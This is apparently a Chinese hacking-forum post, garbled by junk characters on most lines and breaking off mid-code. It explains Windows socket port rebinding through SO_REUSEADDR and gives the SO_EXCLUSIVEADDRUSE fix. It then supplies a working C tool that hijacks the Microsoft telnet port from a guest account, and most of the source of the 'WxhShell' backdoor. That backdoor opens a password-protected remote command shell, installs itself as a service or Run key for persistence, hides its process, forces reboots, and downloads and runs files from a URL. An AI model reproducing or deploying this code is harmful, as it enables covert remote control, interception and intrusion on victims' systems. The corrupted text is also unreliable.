在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W_D%|Ub2X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ee\Gl?VN Cha?7F[xL saddr.sin_family = AF_INET;
c#x7N9;"! p[gAZ9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2K~tDNv7 LOt#1Qv bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
U]mO7 HK ,s81rJ- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]E..43 l~{T#Q 这意味着什么?意味着可以进行如下的攻击:
't ;/,+:V g4T3?"xMB_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
FJlsWh4,6= Xr)g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W7]mfy^ +}Auk|>Dc 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'%$-]~ %9.bu|`KK 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
h%|9]5(= 4Xr"d@2( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
l58l [$H( CH` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M'vXyb%$1 EK.c+Or, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r3?5'S` ;?j~8 #include
qG*_w
RF #include
`F@f?*s: #include
:.C)7( 8S #include
YFAnlqC DWORD WINAPI ClientThread(LPVOID lpParam);
0=gF6U int main()
ua!D-0 {
Q.uR<C6)v WORD wVersionRequested;
#Z#_!o DWORD ret;
?({Pc F/ WSADATA wsaData;
%Ln?dF+ BOOL val;
&a~L_`\' SOCKADDR_IN saddr;
C`z;,!58% SOCKADDR_IN scaddr;
=b|)Wnt2f int err;
BD?F`%-x SOCKET s;
J$<:/^t SOCKET sc;
,at-ci\' int caddsize;
<"{+ HANDLE mt;
5auL<Pq DWORD tid;
}]Qmt5'NI wVersionRequested = MAKEWORD( 2, 2 );
>DkN+S err = WSAStartup( wVersionRequested, &wsaData );
~c9vdK if ( err != 0 ) {
<w%Yq?^ printf("error!WSAStartup failed!\n");
R|6RI} return -1;
Yoj~|qL }
>^sz5d+X saddr.sin_family = AF_INET;
aB7d( _TV2) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
upZYv~Sa / *Ou$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+q4W0 saddr.sin_port = htons(23);
1\=pPys) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R20a(4m {
56VE[G printf("error!socket failed!\n");
lu<Np9/5< return -1;
{8ld:ZP }
1Qrm"TFo val = TRUE;
+D6-m //SO_REUSEADDR选项就是可以实现端口重绑定的
zvWO4\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zS,%msT^A {
Y!Usce printf("error!setsockopt failed!\n");
(0O`A~M3 return -1;
R4[. n@ }
tOu90gu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
vK[v
eFH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
tP/GDC; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
cob9hj#&7 K[`4vsE if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-zkW\O[ {
1nw$B[ ret=GetLastError();
?Aj\1y4L1 printf("error!bind failed!\n");
]JGKL5~p return -1;
IiYuUN1D }
e_;%F` listen(s,2);
'|h./.K while(1)
>MBn2(\B; {
uKaf{=* caddsize = sizeof(scaddr);
7H/!rx //接受连接请求
rHA/
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'33Yl+h if(sc!=INVALID_SOCKET)
KE }o {
]QjXh> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
a @yE:HU if(mt==NULL)
)&g2D@+{ {
9`hpa-m@ printf("Thread Creat Failed!\n");
*q\HFI break;
:i$Z }
7A-rF U$ }
X>>rvlD N CloseHandle(mt);
dp+Y?ufr }
{jI/9 closesocket(s);
-9"Ls?Cu WSACleanup();
B)dynGF8i return 0;
MzG.Qh'z }
t79MBgZ DWORD WINAPI ClientThread(LPVOID lpParam)
uBgHtjmae {
B=Os?'2[ SOCKET ss = (SOCKET)lpParam;
78-:hk SOCKET sc;
m+"%Jd{q unsigned char buf[4096];
zL'n
J SOCKADDR_IN saddr;
Y<XDR:]A, long num;
NM Ajt>t DWORD val;
KK?~i[aL DWORD ret;
Vi_|m?E //如果是隐藏端口应用的话,可以在此处加一些判断
c[$oR,2b13 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=I1@ O9}+i saddr.sin_family = AF_INET;
th)jEK;Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
RYNzTA saddr.sin_port = htons(23);
ijB,Q>TgO if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K3^2R-3:8 {
dp"w=~53 printf("error!socket failed!\n");
n6}1{\ return -1;
ceCshxTU }
2srz) xEe val = 100;
);[`rXH_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
voxlo>: {
n'H\*9t ret = GetLastError();
P+SCX#{y return -1;
2h!3[{M\ }
Mi/_hzZ\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
')+EW"
e {
BR=Yte
/ ret = GetLastError();
~gc)Ww0(Q return -1;
QQ9Q[c }
r4s R5p]| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V4H+m,R {
b/EvcN8 } printf("error!socket connect failed!\n");
pLU>vQA closesocket(sc);
Ub$$wOsf closesocket(ss);
L{-w9(S`i return -1;
|]Xw1.S.L }
N%a[Y
while(1)
P<hqr; {
i469<^A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{e^llfj$# //如果是嗅探内容的话,可以再此处进行内容分析和记录
]V_9[=% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+uA<g`4 num = recv(ss,buf,4096,0);
'54@-}D if(num>0)
?9mY #_Of send(sc,buf,num,0);
Xw%z#6l else if(num==0)
DF~w20+ break;
j405G4BVW num = recv(sc,buf,4096,0);
-4]6tt'G if(num>0)
.UcS4JU send(ss,buf,num,0);
X DX_c@U else if(num==0)
`u U@( break;
(F)zj<{f }
mf3 G$=[ closesocket(ss);
)mEF_ & closesocket(sc);
01Aa.i^d( return 0 ;
iY2bRXA }
Eq?o/'e r,}Zc W+ n'gfB]H[ ==========================================================
j\a?n4g - EPI*~=Z.U 下边附上一个代码,,WXhSHELL
&ke4":7X K( p1+GHC ==========================================================
)fa ~i
\69q% #include "stdafx.h"
~EN@$N^h l|K8+5L #include <stdio.h>
0jXIx2y #include <string.h>
()?)Ybqss #include <windows.h>
z23KSPo #include <winsock2.h>
k\lj<v<vD #include <winsvc.h>
6Z"%vrH #include <urlmon.h>
OjCT%6hy; xv2;h4{< #pragma comment (lib, "Ws2_32.lib")
:J"e{|g', #pragma comment (lib, "urlmon.lib")
1pn167IQL QV't+)uUVo #define MAX_USER 100 // 最大客户端连接数
7+ysE #define BUF_SOCK 200 // sock buffer
._yr7uY[M #define KEY_BUFF 255 // 输入 buffer
%:y-"m1\u$ cO8;2u,Gvi #define REBOOT 0 // 重启
FLWz7Rj #define SHUTDOWN 1 // 关机
2vXMrh\ N*x gVj* #define DEF_PORT 5000 // 监听端口
nuQ"\ G QIw.`$H+ #define REG_LEN 16 // 注册表键长度
,&k5Qq #define SVC_LEN 80 // NT服务名长度
}QI*Ns ~vXul`x // 从dll定义API
;A C] * typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8RK\B%UW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
''6"Xi|5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?{[H+hzz0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Dn@ n:m :G-1VtE n // wxhshell配置信息
t
_W |` struct WSCFG {
ZN?(lt)u9 int ws_port; // 监听端口
T>z@;5C char ws_passstr[REG_LEN]; // 口令
C
}[u[) int ws_autoins; // 安装标记, 1=yes 0=no
2AluH8X/ char ws_regname[REG_LEN]; // 注册表键名
8
jT"HZB6 char ws_svcname[REG_LEN]; // 服务名
qdm!]w.G5 char ws_svcdisp[SVC_LEN]; // 服务显示名
/ [19ITZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
nO/5X>A,Zw char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qm '$R3g int ws_downexe; // 下载执行标记, 1=yes 0=no
`+gF|o9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7KEGTKfW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=FKB)#N 0uvL,hF };
|EApKxaKD HaSH0eTw // default Wxhshell configuration
m&\Gz*)3 struct WSCFG wscfg={DEF_PORT,
lL^7x "xuhuanlingzhe",
fG{oi(T 1,
4rx|6NV6 "Wxhshell",
D9Z5g3s7R "Wxhshell",
^"f "WxhShell Service",
CuGk?i "Wrsky Windows CmdShell Service",
ks;%f34 "Please Input Your Password: ",
(UM+?]Qwy 1,
h;lnc|Hw "
http://www.wrsky.com/wxhshell.exe",
#-W5$1 "Wxhshell.exe"
Ju\"l8[f };
8%"e-chd n5i}J/Sa2 // 消息定义模块
IIPf5
Z}A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
s6egd%r char *msg_ws_prompt="\n\r? for help\n\r#>";
-"<f( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G pd:k char *msg_ws_ext="\n\rExit.";
$X?V_K;9/ char *msg_ws_end="\n\rQuit.";
S6QG:|#P char *msg_ws_boot="\n\rReboot...";
YU`{ char *msg_ws_poff="\n\rShutdown...";
b-Hn=e _ char *msg_ws_down="\n\rSave to ";
' 4"L;){:L OTm`i>rB char *msg_ws_err="\n\rErr!";
7^L&YVW char *msg_ws_ok="\n\rOK!";
+R_U 4Y2>w char ExeFile[MAX_PATH];
Yem\`; * int nUser = 0;
(07d0 <<[ HANDLE handles[MAX_USER];
.DQ]q o]OG int OsIsNt;
-'(:Sq,4o P#xn!fMi SERVICE_STATUS serviceStatus;
l0_V-|x SERVICE_STATUS_HANDLE hServiceStatusHandle;
N_<n$3P\?f cG?266{g // 函数声明
u;!Rv E8N int Install(void);
3XRG" int Uninstall(void);
?]z
._I`E int DownloadFile(char *sURL, SOCKET wsh);
,&-[$, int Boot(int flag);
R4/@dA0
void HideProc(void);
}dz(DPd int GetOsVer(void);
*pMA
V[^ int Wxhshell(SOCKET wsl);
hG^23FiN void TalkWithClient(void *cs);
~iWSc8- int CmdShell(SOCKET sock);
S&*pR3,u int StartFromService(void);
H
#BgE29 int StartWxhshell(LPSTR lpCmdLine);
wOOPWwk (
~>Q2DS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
S\A[Z&k0
VOID WINAPI NTServiceHandler( DWORD fdwControl );
s,Swlo7D! 5glGlD6R // 数据结构和表定义
pB./L&h SERVICE_TABLE_ENTRY DispatchTable[] =
ooQ( bF {
Q)>'fZ) {wscfg.ws_svcname, NTServiceMain},
.Dm{mV@*T {NULL, NULL}
@XmkIm };
RHbwq] C)w*aU,( // 自我安装
;"Y6&YP< int Install(void)
JyO lVs<T {
9:o3JGHSc char svExeFile[MAX_PATH];
AHGcWS\,X HKEY key;
}3 }=tN5 strcpy(svExeFile,ExeFile);
P vwIO_W SfUUo9R(sm // 如果是win9x系统,修改注册表设为自启动
4&D="GA if(!OsIsNt) {
*q{UipZbx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qS
al~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4)I#[&f RegCloseKey(key);
s`RJl V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y=Qf!Cq] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;kBies>V RegCloseKey(key);
#cS,5(BM return 0;
99K+7G\{ }
kqw? X{ }
G>QTPXcD }
sdQv:nd'R else {
6l'y '.,.F0{x // 如果是NT以上系统,安装为系统服务
,np`:fBMy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"6Uj:9 if (schSCManager!=0)
L0tKIpk {
\DK*>
k SC_HANDLE schService = CreateService
KTt$Pt/. (
)7g_v* schSCManager,
VAGMI+ - wscfg.ws_svcname,
yXg1N
N wscfg.ws_svcdisp,
J|S^K kC SERVICE_ALL_ACCESS,
C}_:K)5q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ws)X5C=A SERVICE_AUTO_START,
X388Gs;e SERVICE_ERROR_NORMAL,
=hIT?Z6A svExeFile,
[[h)4H{T NULL,
kTWg31]~ NULL,
Eu.qA9,@U NULL,
=@=R)C4f* NULL,
/? 1Yf NULL
ID# qKFFW );
t<,p-TM] if (schService!=0)
h./vTNMc {
o~_>p/7; CloseServiceHandle(schService);
zB"
`i CloseServiceHandle(schSCManager);
[.xk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7u5\#|yL strcat(svExeFile,wscfg.ws_svcname);
|!5T+H{Sj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|#:dC # RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
IPi<sE RegCloseKey(key);
}lUpC}aq_ return 0;
Kx185Q'W }
m_02"' }
9$V_=Bo CloseServiceHandle(schSCManager);
m:fouMS }
`W$0T;MPF }
i2a"J&,6O A2:){`Mw return 1;
m4U+,|Fa }
w+q;dc8 o / g+Z // 自我卸载
U"y'Kd int Uninstall(void)
<C"N X {
Q=L$7 HKEY key;
*RbOQ86vP <ivqe"m if(!OsIsNt) {
7M#$: Fdb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y:!/4GF RegDeleteValue(key,wscfg.ws_regname);
ddq 1NW RegCloseKey(key);
{&}/p-S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gLSG:7m@ RegDeleteValue(key,wscfg.ws_regname);
LH/&\k RegCloseKey(key);
?WQd return 0;
r>:L$_]L }
A6UdWK }
fJ&<iD)6 }
k CW!m else {
7hF,gl5 Uq]EJu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
yg-FJ/
if (schSCManager!=0)
F'>GN}n {
mB^I@oZ* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ih-3t*L if (schService!=0)
|
2.e0Z]k {
]Z$TzT&@% if(DeleteService(schService)!=0) {
()nKug`.@ CloseServiceHandle(schService);
zJuRth)(, CloseServiceHandle(schSCManager);
BsK|:MM] return 0;
or%gTVZ }
-_EY$?4 CloseServiceHandle(schService);
3r-Vx P 5n }
(U(/C5' CloseServiceHandle(schSCManager);
Q@e*$<3 }
)+w/\~@ }
8yE%X!E uhTKCR~ return 1;
;h,R?mU }
OC?Zw@ T@Ss&eGT2 // 从指定url下载文件
3b|7[7}& int DownloadFile(char *sURL, SOCKET wsh)
|B%BwE {
49xp2{ HRESULT hr;
9 wSl,B- char seps[]= "/";
A#Q0{z@H char *token;
tKG;k"wk char *file;
'NT#(m% char myURL[MAX_PATH];
pcRF:~TE char myFILE[MAX_PATH];
l$qStL*8O #aitESbT strcpy(myURL,sURL);
;Na8_} token=strtok(myURL,seps);
u\()E|?p while(token!=NULL)
TV1e
bH7q {
x1m8~F file=token;
wGOMUWAt token=strtok(NULL,seps);
Jw:Fj{D }
vx\nr8'k ";)r*UgR{B GetCurrentDirectory(MAX_PATH,myFILE);
CF3E]dt strcat(myFILE, "\\");
ilDJwZg# strcat(myFILE, file);
;f".'9 l^ send(wsh,myFILE,strlen(myFILE),0);
"xD}6(NL(r send(wsh,"...",3,0);
|u^)RB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(j8GiJ]{L, if(hr==S_OK)
q4sl=`L5Sp return 0;
$xRo<,OV+ else
r +p@X return 1;
lQh
E]m>+ ; @7 }
$"Y3mD}?L _-@ZOhw& // 系统电源模块
F3r S6_ int Boot(int flag)
8`:M\* {
`j"4: HANDLE hToken;
5h|'DOx|o TOKEN_PRIVILEGES tkp;
sTd}cP 6PiEa( if(OsIsNt) {
I`/]@BdgY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v\fzO#vj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5c<b| tkp.PrivilegeCount = 1;
b%3Q$wIJ6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>lA7*nn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jmRhAJV if(flag==REBOOT) {
536^PcJlN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k!Vn4?B"k return 0;
)2)Zz +< }
(YAI,Xnw else {
>oe4mW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
D35m5+=I return 0;
U^B"|lc:[ }
XXXljh6 }
HMF8;,<_w? else {
_mw13jcN] if(flag==REBOOT) {
!-KCFMvT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+*n]tlk return 0;
t G]N*%@ }
)qbI{^_g else {
cL?\^K) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]AFj&CteZ/ return 0;
h{\t*U54' }
D=2~37CzQ1 }
AeN 3<|RN )r=9]0= return 1;
'-`O.
4u }
M#`{>R| yU *u // win9x进程隐藏模块
37#cx)p^f void HideProc(void)
5$anqGw {
,cLH*@ xne]Q(B> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-4 8`#"xy if ( hKernel != NULL )
yGRR8F5>( {
n4Vwao/9x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[9LxhPi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@]*[c})/ FreeLibrary(hKernel);
D2{L= }
ebzzzmwo >A<Df return;
+.=1^+a }
jg?bf/$s ;r3}g"D@ // 获取操作系统版本
iZC>)&ax int GetOsVer(void)
: g5(HH {
{y1q7Z.M OSVERSIONINFO winfo;
Vu=] O/ =P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f`,-b GetVersionEx(&winfo);
p:Oz<P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W-1sU g[AN return 1;
e#1.T else
^}hJL7O' return 0;
\Y+") }
c+~LpSQ @cPflb // 客户端句柄模块
x7HA722w int Wxhshell(SOCKET wsl)
(#If1[L {
>otJF3zw SOCKET wsh;
VNO'="U struct sockaddr_in client;
Ia#"/`|| DWORD myID;
`UQEXoB) YtpRy%
R while(nUser<MAX_USER)
M1EOnq4- {
NCn`}QP int nSize=sizeof(client);
"b`7[ ;a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iy}xICt if(wsh==INVALID_SOCKET) return 1;
9n"V\e_R F 5U|9< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-x{&an= if(handles[nUser]==0)
Q ?^4 \_ closesocket(wsh);
^&MK42,\ else
>azEed<B nUser++;
gHZqA_*T8U }
<aXoB*Y
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
('JKN"3 D"!jbVz]* return 0;
*{|$FQnR>( }
^KbL
,T Z9VR]cf? // 关闭 socket
VX!hv`E void CloseIt(SOCKET wsh)
XXm'6xD- {
8#l+{`$z closesocket(wsh);
JD*8@N nUser--;
j8a[
( ExitThread(0);
$UC {"0 }
`XgFga) |IN[uQ // 客户端请求句柄
6.19g'{sB void TalkWithClient(void *cs)
jkt6/H {
b
i~=x GW/WUzK SOCKET wsh=(SOCKET)cs;
SY T$3|a char pwd[SVC_LEN];
?4[NNL char cmd[KEY_BUFF];
X!c?CL char chr[1];
O aaH$B int i,j;
d}+W"j; U=QA e while (nUser < MAX_USER) {
(O0byu} <u0,Fp if(wscfg.ws_passstr) {
R6P\T\~E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c1#+Vse //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h.}u?{ //ZeroMemory(pwd,KEY_BUFF);
}#/lN i=0;
YlKFw|= while(i<SVC_LEN) {
FmD +8= 1tGgDbJU // 设置超时
MGaiTN^_< fd_set FdRead;
FN\GE\H struct timeval TimeOut;
=:~(m FD_ZERO(&FdRead);
Nw pS)6<- FD_SET(wsh,&FdRead);
O{q&]~, TimeOut.tv_sec=8;
>lLo4M 3 TimeOut.tv_usec=0;
mb{q(WEPP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
B9#;- QO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X-/Ban ri=+(NKo- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D#0O[F@l## pwd
=chr[0]; Pm?B
9S
if(chr[0]==0xd || chr[0]==0xa) { A3q*$.[
pwd=0;
-oh7d$~
break; ab4LTF|
} s
MZ[d\
i++; n)RM+g
} 1exfCm
XwPx9+b6j
// 如果是非法用户,关闭 socket 9XOyj5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9o_-=>(
} F,pCR7o>
!^v\^Fc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }0{B
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d)KF3oA
N`1r;%5
while(1) { >S.91!x
\_U*t!
ZeroMemory(cmd,KEY_BUFF);
MZ~.(&
1VLLo~L%
// 自动支持客户端 telnet标准 D^$OCj\
j=0; # ZTLrq5b
while(j<KEY_BUFF) { mHs:t{q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+_Wc~f
cmd[j]=chr[0]; #U@| J}a
if(chr[0]==0xa || chr[0]==0xd) { ym%o}(v-
cmd[j]=0; 2 ~-( A
break; sFElD
]|
} 4bI*jEc\[
j++; C +@ i
} jONjt(&N
T 2|:nC)@
// 下载文件 968^ "T#
if(strstr(cmd,"http://")) { &t6Tcy
send(wsh,msg_ws_down,strlen(msg_ws_down),0); X9~p4ys9{
if(DownloadFile(cmd,wsh)) [z+x"9l0!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3.=GRg~l
else CZ tiWZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <25ccE9^c
} b:Dg}
else { #r}uin*jD
$G3@< BIN
switch(cmd[0]) { @L8;VSI
]l&'k23~p
// 帮助 ,8VXA +'_
case '?': { CQ1 8%w6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FL&dv
break; 0jTMZ<&zZ
} G_(ct5:_"!
// 安装 5/(sjMB
case 'i': { 'tuBuYD\
if(Install()) 4)nt$fW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gym#b{#":
else ^XNw$@&',
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;ER`Jqs,
break; 9C=~1>S
} b~9`]+
// 卸载 mF~ys{"t
case 'r': { 5\3 swP_7
if(Uninstall()) m{O
Dz:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MYu`c[$jZ
else -)>(8 f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '}CN?f|.
break; 4v>o%
} 1yJ75/
// 显示 wxhshell 所在路径 SdSgn |S
case 'p': { &t_A0z
char svExeFile[MAX_PATH]; ,z oB0([
strcpy(svExeFile,"\n\r"); I}_;A<U
strcat(svExeFile,ExeFile); /} a_8iM\
send(wsh,svExeFile,strlen(svExeFile),0); OQ,}/
break; W[fT
R?n
} ZIe +
// 重启 <OIUyZS
case 'b': { }1,'rmT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FvAbh]/4
if(Boot(REBOOT)) s!aO*\[<h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3l$E8?[Zwi
else { C$t.C
rxx
closesocket(wsh); uct=i1+ fE
ExitThread(0); 3? };
} ETxp#PZ
break; re/xs~
} /Bh>
// 关机 HS(U4
case 'd': { F:S"gRKz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G"{4'LlA
if(Boot(SHUTDOWN)) \Vz,wy%-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !"`Jqs
else { dK`(BA{`3
closesocket(wsh); 7oD
y7nV4
ExitThread(0); 6N&|2: U
} ovB=Zm
break; }'v{dK
} %uj[ `
// 获取shell X:U=MWc>
case 's': { ^] i"
H|(x
CmdShell(wsh); )U]:9)
closesocket(wsh); qg|Ox*_od"
ExitThread(0);
[A|(A$jl
break; vUqe.?5
} 4Q@\h=r
// 退出 b'&LBT7
case 'x': { nT#37v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &yB%QX{3
CloseIt(wsh); s:3aRQ%
break; g%ZdIKj!
} Bj; [
// 离开 (x}A_i
case 'q': { 1E8$% 6VV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /9P^{OZ;y
closesocket(wsh); &<`-:x1 2_
WSACleanup(); u2Y N[|V
exit(1); re]%f"v:5
break; hH#lTye
} pa>p%
} `(P
"u
} J`4Z<b53
Y$>+U
// 提示信息 UE\%e9<l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cT\Ov
P*_
} cW=Qh-`jU;
} DE'Xq6#PK
d8rBu jT
return; GI}4,!^N
} Sw yaYK
nT_*EC<.
// shell模块句柄 F
~*zC`>Y
int CmdShell(SOCKET sock) s;anP0-O
{ O5ucI$s
STARTUPINFO si; =sxkr ih
ZeroMemory(&si,sizeof(si)); J0&zb'1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /g13X,.H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n'q
aR<bY
PROCESS_INFORMATION ProcessInfo; :sU!PF[<
char cmdline[]="cmd"; d:A\<F
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~(stA3]k
return 0; u.$Ym
} D% oueW
bh{E&1sLh
// 自身启动模式 [SK2 x4
int StartFromService(void) KrJ 5"1=
{ #c6ui0E%;t
typedef struct lq~GcM
{ B.V?s,U
DWORD ExitStatus; >s;oOo+5
DWORD PebBaseAddress; izXbp02
DWORD AffinityMask; Vp|2w lFE-
DWORD BasePriority; k&WUv0
ULONG UniqueProcessId; JtSuD>H`"
ULONG InheritedFromUniqueProcessId; @P*ylB}?Q
} PROCESS_BASIC_INFORMATION; ~o:rM/!Ba
Lc58lV=
